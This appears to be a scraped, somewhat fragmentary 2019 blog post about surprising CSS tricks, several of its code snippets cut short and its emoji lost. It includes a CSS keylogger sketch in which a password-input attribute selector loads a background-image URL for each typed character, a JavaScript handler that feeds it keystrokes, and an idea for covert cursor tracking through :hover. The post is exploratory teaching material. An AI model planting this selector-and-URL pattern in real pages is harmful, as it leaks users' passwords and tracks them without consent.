Professional Documents
Culture Documents
CSS Can Do This... and It's Terrifying!
CSS Can Do This... and It's Terrifying!
And It's
Terrifying!
August 14, 2019 · 7 minute read · css
Time for #DevDiscuss!
CSS Keylogger
This has been around for a while now that you can use CSS to
create a keylogger, but as is rightly pointed out in this post
it’s not “really” just CSS, it does rely on some JavaScript. So
let’s dissect how it works.
We have our selector like so:
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
input.addEventListener("keypress", e => {
e.preventDefault();
let char = String.fromCharCode(e.keyCode);
let newValue = input.value + char;
input.setAttribute("value", newValue);
input.setSelectionRange(newValue.length, newValue.length);
});
}
#demo-02 input:focus {
background-color: #bada55;
}
#demo-02 button:active {
color: #ff0000;
}
I’m just using pseudo-classes like :hover, :focus and :active to
know when you’ve done something and then change some colours, but
again I could be setting the background-image to a tracking URL.
How could this be made useful? Well, think of it like implementing
Google Analytics, you could do something like attach a :hover
state to the body element so you know when the page is appearing
for the user and then more hover states on all the child elements;
as the user moves around the page you’re capturing the rough
position of their cursor and knowing what they are spending their
time on. If there’s a form you can work out how long they spent on
each field, how they navigate forwards and backwards through a
multi-step form, or if they change answers on radio
buttons/checkboxes.
Like the keylogger it isn’t as straight forward as it might seem,
you would have to have a decent idea of the structure of the DOM
to be able to create a really fine-grade tracker (or use
JavaScript), but if you’re using it for your own analytics it’s
very achievable.
#demo-03 p + p {
font-family: "Comic Sans MS", sans serif;
font-style: italic;
}
Here we’re applying a rule to all p elements, but then we’re using
the adjacent sibling selector to apply a rule to the 2nd p only
(in this case, turning on a different font family and style). By
applying conditions on the first half of the selector, such as a
pesudo-class, the cascade of the rules can be greatly limited.
Emoji Class Names
Who doesn’t love themselves a liberal usage of Emoji’s throughout
their work? Well did you know that you can use Emoji as the class
names in CSS? According to the spec they are technically valid,
meaning you can do this:
Hello!
#demo-04 .?? {
font-family: "Comic Sans MS";
text-decoration: #f0a underline overline wavy;
text-shadow: 2px 2px #bada55;
transform: rotate(45deg);
display: inline-block;
}
Conclusion
What started from a throw-away tweet became the catalyst for
writing a post I’ve been meaning to do for a few years now! ??
I hope you’ve enjoyed a look at a few things you can do with CSS,
but maybe shouldn’t.
What are your favourite ways to exploit CSS?